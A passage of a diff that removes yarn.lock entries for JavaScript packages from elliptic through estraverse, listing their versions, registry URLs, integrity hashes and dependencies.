-  resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.3.tgz#cb59eb2efdaf73a0bd78ccd7015a62ad6e0f93d6"
-  integrity sha512-IMqzv5wNQf+E6aHeIqATs0tOLeOTwj1QKbRcS3jBbYkl5oLAserA8yJTT7/VyHUYG91PRmPyeQDObKLPpeS4dw==
-  dependencies:
-    bn.js "^4.4.0"
-    brorand "^1.0.1"
-    hash.js "^1.0.0"
-    hmac-drbg "^1.0.0"
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-    minimalistic-crypto-utils "^1.0.0"
-
-elliptic@6.5.4, elliptic@^6.5.2, elliptic@^6.5.3:
-  version "6.5.4"
-  resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb"
-  integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==
-  dependencies:
-    bn.js "^4.11.9"
-    brorand "^1.1.0"
-    hash.js "^1.0.0"
-    hmac-drbg "^1.0.1"
-    inherits "^2.0.4"
-    minimalistic-assert "^1.0.1"
-    minimalistic-crypto-utils "^1.0.1"
-
-emoji-regex@^7.0.1, emoji-regex@^7.0.2:
-  version "7.0.3"
-  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156"
-  integrity sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==
-
-emoji-regex@^8.0.0:
-  version "8.0.0"
-  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
-  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
-
-emoji-regex@^9.0.0:
-  version "9.2.2"
-  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
-  integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==
-
-emojis-list@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-2.1.0.tgz#4daa4d9db00f9819880c79fa457ae5b09a1fd389"
-  integrity sha1-TapNnbAPmBmIDHn6RXrlsJof04k=
-
-emojis-list@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
-  integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==
-
-enc-utils@3.0.0, enc-utils@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/enc-utils/-/enc-utils-3.0.0.tgz#65935d2d6a867fa0ae995f05f3a2f055ce764dcf"
-  integrity sha512-e57t/Z2HzWOLwOp7DZcV0VMEY8t7ptWwsxyp6kM2b2zrk6JqIpXxzkruHAMiBsy5wg9jp/183GdiRXCvBtzsYg==
-  dependencies:
-    is-typedarray "1.0.0"
-    typedarray-to-buffer "3.1.5"
-
-encodeurl@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
-  integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
-
-encoding@^0.1.11:
-  version "0.1.13"
-  resolved "https://registry.yarnpkg.com/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9"
-  integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==
-  dependencies:
-    iconv-lite "^0.6.2"
-
-end-of-stream@^1.0.0, end-of-stream@^1.1.0:
-  version "1.4.4"
-  resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
-  integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
-  dependencies:
-    once "^1.4.0"
-
-enhanced-resolve@^4.1.0:
-  version "4.5.0"
-  resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz#2f3cfd84dbe3b487f18f2db2ef1e064a571ca5ec"
-  integrity sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==
-  dependencies:
-    graceful-fs "^4.1.2"
-    memory-fs "^0.5.0"
-    tapable "^1.0.0"
-
-entities@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/entities/-/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55"
-  integrity sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==
-
-entities@~2.0.0:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/entities/-/entities-2.0.3.tgz#5c487e5742ab93c15abb5da22759b8590ec03b7f"
-  integrity sha512-MyoZ0jgnLvB2X3Lg5HqpFmn1kybDiIfEQmKzTb5apr51Rb+T3KdmMiqa70T+bhGnyv7bQ6WMj2QMHpGMmlrUYQ==
-
-err-code@^2.0.0:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/err-code/-/err-code-2.0.3.tgz#23c2f3b756ffdfc608d30e27c9a941024807e7f9"
-  integrity sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==
-
-errno@^0.1.1, errno@^0.1.3, errno@~0.1.1, errno@~0.1.7:
-  version "0.1.8"
-  resolved "https://registry.yarnpkg.com/errno/-/errno-0.1.8.tgz#8bb3e9c7d463be4976ff888f76b4809ebc2e811f"
-  integrity sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==
-  dependencies:
-    prr "~1.0.1"
-
-error-ex@^1.2.0, error-ex@^1.3.1:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
-  integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
-  dependencies:
-    is-arrayish "^0.2.1"
-
-es-abstract@^1.17.2, es-abstract@^1.18.0-next.1, es-abstract@^1.18.0-next.2, es-abstract@^1.18.2:
-  version "1.18.3"
-  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.18.3.tgz#25c4c3380a27aa203c44b2b685bba94da31b63e0"
-  integrity sha512-nQIr12dxV7SSxE6r6f1l3DtAeEYdsGpps13dR0TwJg1S8gyp4ZPgy3FZcHBgbiQqnoqSTb+oC+kO4UQ0C/J8vw==
-  dependencies:
-    call-bind "^1.0.2"
-    es-to-primitive "^1.2.1"
-    function-bind "^1.1.1"
-    get-intrinsic "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.2"
-    is-callable "^1.2.3"
-    is-negative-zero "^2.0.1"
-    is-regex "^1.1.3"
-    is-string "^1.0.6"
-    object-inspect "^1.10.3"
-    object-keys "^1.1.1"
-    object.assign "^4.1.2"
-    string.prototype.trimend "^1.0.4"
-    string.prototype.trimstart "^1.0.4"
-    unbox-primitive "^1.0.1"
-
-es-to-primitive@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
-  integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
-  dependencies:
-    is-callable "^1.1.4"
-    is-date-object "^1.0.1"
-    is-symbol "^1.0.2"
-
-es5-ext@^0.10.35, es5-ext@^0.10.46, es5-ext@^0.10.50:
-  version "0.10.53"
-  resolved "https://registry.yarnpkg.com/es5-ext/-/es5-ext-0.10.53.tgz#93c5a3acfdbef275220ad72644ad02ee18368de1"
-  integrity sha512-Xs2Stw6NiNHWypzRTY1MtaG/uJlwCk8kH81920ma8mvN8Xq1gsfhZvpkImLQArw8AHnv8MT2I45J3c0R8slE+Q==
-  dependencies:
-    es6-iterator "~2.0.3"
-    es6-symbol "~3.1.3"
-    next-tick "~1.0.0"
-
-es6-iterator@2.0.3, es6-iterator@^2.0.1, es6-iterator@^2.0.3, es6-iterator@~2.0.3:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/es6-iterator/-/es6-iterator-2.0.3.tgz#a7de889141a05a94b0854403b2d0a0fbfa98f3b7"
-  integrity sha1-p96IkUGgWpSwhUQDstCg+/qY87c=
-  dependencies:
-    d "1"
-    es5-ext "^0.10.35"
-    es6-symbol "^3.1.1"
-
-es6-symbol@^3.1.1, es6-symbol@~3.1.3:
-  version "3.1.3"
-  resolved "https://registry.yarnpkg.com/es6-symbol/-/es6-symbol-3.1.3.tgz#bad5d3c1bcdac28269f4cb331e431c78ac705d18"
-  integrity sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==
-  dependencies:
-    d "^1.0.1"
-    ext "^1.1.2"
-
-es6-weak-map@^2.0.1:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/es6-weak-map/-/es6-weak-map-2.0.3.tgz#b6da1f16cc2cc0d9be43e6bdbfc5e7dfcdf31d53"
-  integrity sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==
-  dependencies:
-    d "1"
-    es5-ext "^0.10.46"
-    es6-iterator "^2.0.3"
-    es6-symbol "^3.1.1"
-
-escalade@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40"
-  integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==
-
-escape-html@~1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
-  integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
-
-escape-string-regexp@2.0.0, escape-string-regexp@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344"
-  integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==
-
-escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
-  integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
-
-escodegen@^1.11.0, escodegen@^1.9.1:
-  version "1.14.3"
-  resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-1.14.3.tgz#4e7b81fba61581dc97582ed78cab7f0e8d63f503"
-  integrity sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==
-  dependencies:
-    esprima "^4.0.1"
-    estraverse "^4.2.0"
-    esutils "^2.0.2"
-    optionator "^0.8.1"
-  optionalDependencies:
-    source-map "~0.6.1"
-
-eslint-config-airbnb-base@^14.2.1:
-  version "14.2.1"
-  resolved "https://registry.yarnpkg.com/eslint-config-airbnb-base/-/eslint-config-airbnb-base-14.2.1.tgz#8a2eb38455dc5a312550193b319cdaeef042cd1e"
-  integrity sha512-GOrQyDtVEc1Xy20U7vsB2yAoB4nBlfH5HZJeatRXHleO+OS5Ot+MWij4Dpltw4/DyIkqUfqz1epfhVR5XWWQPA==
-  dependencies:
-    confusing-browser-globals "^1.0.10"
-    object.assign "^4.1.2"
-    object.entries "^1.1.2"
-
-eslint-config-airbnb@^18.2.0:
-  version "18.2.1"
-  resolved "https://registry.yarnpkg.com/eslint-config-airbnb/-/eslint-config-airbnb-18.2.1.tgz#b7fe2b42f9f8173e825b73c8014b592e449c98d9"
-  integrity sha512-glZNDEZ36VdlZWoxn/bUR1r/sdFKPd1mHPbqUtkctgNG4yT2DLLtJ3D+yCV+jzZCc2V1nBVkmdknOJBZ5Hc0fg==
-  dependencies:
-    eslint-config-airbnb-base "^14.2.1"
-    object.assign "^4.1.2"
-    object.entries "^1.1.2"
-
-eslint-config-prettier@^6.11.0:
-  version "6.15.0"
-  resolved "https://registry.yarnpkg.com/eslint-config-prettier/-/eslint-config-prettier-6.15.0.tgz#7f93f6cb7d45a92f1537a70ecc06366e1ac6fed9"
-  integrity sha512-a1+kOYLR8wMGustcgAjdydMsQ2A/2ipRPwRKUmfYaSxc9ZPcrku080Ctl6zrZzZNs/U82MjSv+qKREkoq3bJaw==
-  dependencies:
-    get-stdin "^6.0.0"
-
-eslint-config-react-app@^5.2.1:
-  version "5.2.1"
-  resolved "https://registry.yarnpkg.com/eslint-config-react-app/-/eslint-config-react-app-5.2.1.tgz#698bf7aeee27f0cea0139eaef261c7bf7dd623df"
-  integrity sha512-pGIZ8t0mFLcV+6ZirRgYK6RVqUIKRIi9MmgzUEmrIknsn3AdO0I32asO86dJgloHq+9ZPl8UIg8mYrvgP5u2wQ==
-  dependencies:
-    confusing-browser-globals "^1.0.9"
-
-eslint-import-resolver-node@^0.3.2, eslint-import-resolver-node@^0.3.4:
-  version "0.3.4"
-  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.4.tgz#85ffa81942c25012d8231096ddf679c03042c717"
-  integrity sha512-ogtf+5AB/O+nM6DIeBUNr2fuT7ot9Qg/1harBfBtaP13ekEWFQEEMP94BCB7zaNW3gyY+8SHYF00rnqYwXKWOA==
-  dependencies:
-    debug "^2.6.9"
-    resolve "^1.13.1"
-
-eslint-loader@3.0.3:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/eslint-loader/-/eslint-loader-3.0.3.tgz#e018e3d2722381d982b1201adb56819c73b480ca"
-  integrity sha512-+YRqB95PnNvxNp1HEjQmvf9KNvCin5HXYYseOXVC2U0KEcw4IkQ2IQEBG46j7+gW39bMzeu0GsUhVbBY3Votpw==
-  dependencies:
-    fs-extra "^8.1.0"
-    loader-fs-cache "^1.0.2"
-    loader-utils "^1.2.3"
-    object-hash "^2.0.1"
-    schema-utils "^2.6.1"
-
-eslint-module-utils@^2.4.1, eslint-module-utils@^2.6.1:
-  version "2.6.1"
-  resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.6.1.tgz#b51be1e473dd0de1c5ea638e22429c2490ea8233"
-  integrity sha512-ZXI9B8cxAJIH4nfkhTwcRTEAnrVfobYqwjWy/QMCZ8rHkZHFjf9yO4BzpiF9kCSfNlMG54eKigISHpX0+AaT4A==
-  dependencies:
-    debug "^3.2.7"
-    pkg-dir "^2.0.0"
-
-eslint-plugin-babel@^5.3.1:
-  version "5.3.1"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-babel/-/eslint-plugin-babel-5.3.1.tgz#75a2413ffbf17e7be57458301c60291f2cfbf560"
-  integrity sha512-VsQEr6NH3dj664+EyxJwO4FCYm/00JhYb3Sk3ft8o+fpKuIfQ9TaW6uVUfvwMXHcf/lsnRIoyFPsLMyiWCSL/g==
-  dependencies:
-    eslint-rule-composer "^0.3.0"
-
-eslint-plugin-flowtype@4.6.0:
-  version "4.6.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-flowtype/-/eslint-plugin-flowtype-4.6.0.tgz#82b2bd6f21770e0e5deede0228e456cb35308451"
-  integrity sha512-W5hLjpFfZyZsXfo5anlu7HM970JBDqbEshAJUkeczP6BFCIfJXuiIBQXyberLRtOStT0OGPF8efeTbxlHk4LpQ==
-  dependencies:
-    lodash "^4.17.15"
-
-eslint-plugin-import@2.20.1:
-  version "2.20.1"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.20.1.tgz#802423196dcb11d9ce8435a5fc02a6d3b46939b3"
-  integrity sha512-qQHgFOTjguR+LnYRoToeZWT62XM55MBVXObHM6SKFd1VzDcX/vqT1kAz8ssqigh5eMj8qXcRoXXGZpPP6RfdCw==
-  dependencies:
-    array-includes "^3.0.3"
-    array.prototype.flat "^1.2.1"
-    contains-path "^0.1.0"
-    debug "^2.6.9"
-    doctrine "1.5.0"
-    eslint-import-resolver-node "^0.3.2"
-    eslint-module-utils "^2.4.1"
-    has "^1.0.3"
-    minimatch "^3.0.4"
-    object.values "^1.1.0"
-    read-pkg-up "^2.0.0"
-    resolve "^1.12.0"
-
-eslint-plugin-import@^2.22.1:
-  version "2.23.4"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.23.4.tgz#8dceb1ed6b73e46e50ec9a5bb2411b645e7d3d97"
-  integrity sha512-6/wP8zZRsnQFiR3iaPFgh5ImVRM1WN5NUWfTIRqwOdeiGJlBcSk82o1FEVq8yXmy4lkIzTo7YhHCIxlU/2HyEQ==
-  dependencies:
-    array-includes "^3.1.3"
-    array.prototype.flat "^1.2.4"
-    debug "^2.6.9"
-    doctrine "^2.1.0"
-    eslint-import-resolver-node "^0.3.4"
-    eslint-module-utils "^2.6.1"
-    find-up "^2.0.0"
-    has "^1.0.3"
-    is-core-module "^2.4.0"
-    minimatch "^3.0.4"
-    object.values "^1.1.3"
-    pkg-up "^2.0.0"
-    read-pkg-up "^3.0.0"
-    resolve "^1.20.0"
-    tsconfig-paths "^3.9.0"
-
-eslint-plugin-jsx-a11y@6.2.3:
-  version "6.2.3"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.2.3.tgz#b872a09d5de51af70a97db1eea7dc933043708aa"
-  integrity sha512-CawzfGt9w83tyuVekn0GDPU9ytYtxyxyFZ3aSWROmnRRFQFT2BiPJd7jvRdzNDi6oLWaS2asMeYSNMjWTV4eNg==
-  dependencies:
-    "@babel/runtime" "^7.4.5"
-    aria-query "^3.0.0"
-    array-includes "^3.0.3"
-    ast-types-flow "^0.0.7"
-    axobject-query "^2.0.2"
-    damerau-levenshtein "^1.0.4"
-    emoji-regex "^7.0.2"
-    has "^1.0.3"
-    jsx-ast-utils "^2.2.1"
-
-eslint-plugin-jsx-a11y@^6.4.1:
-  version "6.4.1"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.4.1.tgz#a2d84caa49756942f42f1ffab9002436391718fd"
-  integrity sha512-0rGPJBbwHoGNPU73/QCLP/vveMlM1b1Z9PponxO87jfr6tuH5ligXbDT6nHSSzBC8ovX2Z+BQu7Bk5D/Xgq9zg==
-  dependencies:
-    "@babel/runtime" "^7.11.2"
-    aria-query "^4.2.2"
-    array-includes "^3.1.1"
-    ast-types-flow "^0.0.7"
-    axe-core "^4.0.2"
-    axobject-query "^2.2.0"
-    damerau-levenshtein "^1.0.6"
-    emoji-regex "^9.0.0"
-    has "^1.0.3"
-    jsx-ast-utils "^3.1.0"
-    language-tags "^1.0.5"
-
-eslint-plugin-prettier@^3.1.4:
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-prettier/-/eslint-plugin-prettier-3.4.0.tgz#cdbad3bf1dbd2b177e9825737fe63b476a08f0c7"
-  integrity sha512-UDK6rJT6INSfcOo545jiaOwB701uAIt2/dR7WnFQoGCVl1/EMqdANBmwUaqqQ45aXprsTGzSa39LI1PyuRBxxw==
-  dependencies:
-    prettier-linter-helpers "^1.0.0"
-
-eslint-plugin-react-hooks@^1.6.1:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-1.7.0.tgz#6210b6d5a37205f0b92858f895a4e827020a7d04"
-  integrity sha512-iXTCFcOmlWvw4+TOE8CLWj6yX1GwzT0Y6cUfHHZqWnSk144VmVIRcVGtUAzrLES7C798lmvnt02C7rxaOX1HNA==
-
-eslint-plugin-react-hooks@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.2.0.tgz#8c229c268d468956334c943bb45fc860280f5556"
-  integrity sha512-623WEiZJqxR7VdxFCKLI6d6LLpwJkGPYKODnkH3D7WpOG5KM8yWueBd8TLsNAetEJNF5iJmolaAKO3F8yzyVBQ==
-
-eslint-plugin-react@7.19.0:
-  version "7.19.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-react/-/eslint-plugin-react-7.19.0.tgz#6d08f9673628aa69c5559d33489e855d83551666"
-  integrity sha512-SPT8j72CGuAP+JFbT0sJHOB80TX/pu44gQ4vXH/cq+hQTiY2PuZ6IHkqXJV6x1b28GDdo1lbInjKUrrdUf0LOQ==
-  dependencies:
-    array-includes "^3.1.1"
-    doctrine "^2.1.0"
-    has "^1.0.3"
-    jsx-ast-utils "^2.2.3"
-    object.entries "^1.1.1"
-    object.fromentries "^2.0.2"
-    object.values "^1.1.1"
-    prop-types "^15.7.2"
-    resolve "^1.15.1"
-    semver "^6.3.0"
-    string.prototype.matchall "^4.0.2"
-    xregexp "^4.3.0"
-
-eslint-plugin-react@^7.22.0:
-  version "7.24.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-react/-/eslint-plugin-react-7.24.0.tgz#eadedfa351a6f36b490aa17f4fa9b14e842b9eb4"
-  integrity sha512-KJJIx2SYx7PBx3ONe/mEeMz4YE0Lcr7feJTCMyyKb/341NcjuAgim3Acgan89GfPv7nxXK2+0slu0CWXYM4x+Q==
-  dependencies:
-    array-includes "^3.1.3"
-    array.prototype.flatmap "^1.2.4"
-    doctrine "^2.1.0"
-    has "^1.0.3"
-    jsx-ast-utils "^2.4.1 || ^3.0.0"
-    minimatch "^3.0.4"
-    object.entries "^1.1.4"
-    object.fromentries "^2.0.4"
-    object.values "^1.1.4"
-    prop-types "^15.7.2"
-    resolve "^2.0.0-next.3"
-    string.prototype.matchall "^4.0.5"
-
-eslint-rule-composer@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/eslint-rule-composer/-/eslint-rule-composer-0.3.0.tgz#79320c927b0c5c0d3d3d2b76c8b4a488f25bbaf9"
-  integrity sha512-bt+Sh8CtDmn2OajxvNO+BX7Wn4CIWMpTRm3MaiKPCQcnnlm0CS2mhui6QaoeQugs+3Kj2ESKEEGJUdVafwhiCg==
-
-eslint-scope@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-4.0.3.tgz#ca03833310f6889a3264781aa82e63eb9cfe7848"
-  integrity sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==
-  dependencies:
-    esrecurse "^4.1.0"
-    estraverse "^4.1.1"
-
-eslint-scope@^5.0.0:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c"
-  integrity sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==
-  dependencies:
-    esrecurse "^4.3.0"
-    estraverse "^4.1.1"
-
-eslint-utils@^1.4.3:
-  version "1.4.3"
-  resolved "https://registry.yarnpkg.com/eslint-utils/-/eslint-utils-1.4.3.tgz#74fec7c54d0776b6f67e0251040b5806564e981f"
-  integrity sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==
-  dependencies:
-    eslint-visitor-keys "^1.1.0"
-
-eslint-utils@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/eslint-utils/-/eslint-utils-2.1.0.tgz#d2de5e03424e707dc10c74068ddedae708741b27"
-  integrity sha512-w94dQYoauyvlDc43XnGB8lU3Zt713vNChgt4EWwhXAP2XkBvndfxF0AgIqKOOasjPIPzj9JqgwkwbCYD0/V3Zg==
-  dependencies:
-    eslint-visitor-keys "^1.1.0"
-
-eslint-visitor-keys@^1.0.0, eslint-visitor-keys@^1.1.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz#30ebd1ef7c2fdff01c3a4f151044af25fab0523e"
-  integrity sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==
-
-eslint@^6.6.0:
-  version "6.8.0"
-  resolved "https://registry.yarnpkg.com/eslint/-/eslint-6.8.0.tgz#62262d6729739f9275723824302fb227c8c93ffb"
-  integrity sha512-K+Iayyo2LtyYhDSYwz5D5QdWw0hCacNzyq1Y821Xna2xSJj7cijoLLYmLxTQgcgZ9mC61nryMy9S7GRbYpI5Ig==
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    ajv "^6.10.0"
-    chalk "^2.1.0"
-    cross-spawn "^6.0.5"
-    debug "^4.0.1"
-    doctrine "^3.0.0"
-    eslint-scope "^5.0.0"
-    eslint-utils "^1.4.3"
-    eslint-visitor-keys "^1.1.0"
-    espree "^6.1.2"
-    esquery "^1.0.1"
-    esutils "^2.0.2"
-    file-entry-cache "^5.0.1"
-    functional-red-black-tree "^1.0.1"
-    glob-parent "^5.0.0"
-    globals "^12.1.0"
-    ignore "^4.0.6"
-    import-fresh "^3.0.0"
-    imurmurhash "^0.1.4"
-    inquirer "^7.0.0"
-    is-glob "^4.0.0"
-    js-yaml "^3.13.1"
-    json-stable-stringify-without-jsonify "^1.0.1"
-    levn "^0.3.0"
-    lodash "^4.17.14"
-    minimatch "^3.0.4"
-    mkdirp "^0.5.1"
-    natural-compare "^1.4.0"
-    optionator "^0.8.3"
-    progress "^2.0.0"
-    regexpp "^2.0.1"
-    semver "^6.1.2"
-    strip-ansi "^5.2.0"
-    strip-json-comments "^3.0.1"
-    table "^5.2.3"
-    text-table "^0.2.0"
-    v8-compile-cache "^2.0.3"
-
-espree@^6.1.2:
-  version "6.2.1"
-  resolved "https://registry.yarnpkg.com/espree/-/espree-6.2.1.tgz#77fc72e1fd744a2052c20f38a5b575832e82734a"
-  integrity sha512-ysCxRQY3WaXJz9tdbWOwuWr5Y/XrPTGX9Kiz3yoUXwW0VZ4w30HTkQLaGx/+ttFjF8i+ACbArnB4ce68a9m5hw==
-  dependencies:
-    acorn "^7.1.1"
-    acorn-jsx "^5.2.0"
-    eslint-visitor-keys "^1.1.0"
-
-esprima@^4.0.0, esprima@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
-  integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
-
-esquery@^1.0.1:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.4.0.tgz#2148ffc38b82e8c7057dfed48425b3e61f0f24a5"
-  integrity sha512-cCDispWt5vHHtwMY2YrAQ4ibFkAL8RbH5YGBnZBc90MolvvfkkQcJro/aZiAQUlQ3qgrYS6D6v8Gc5G5CQsc9w==
-  dependencies:
-    estraverse "^5.1.0"
-
-esrecurse@^4.1.0, esrecurse@^4.3.0:
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
-  integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
-  dependencies:
-    estraverse "^5.2.0"
-
-estraverse@^4.1.1, estraverse@^4.2.0:
-  version "4.3.0"
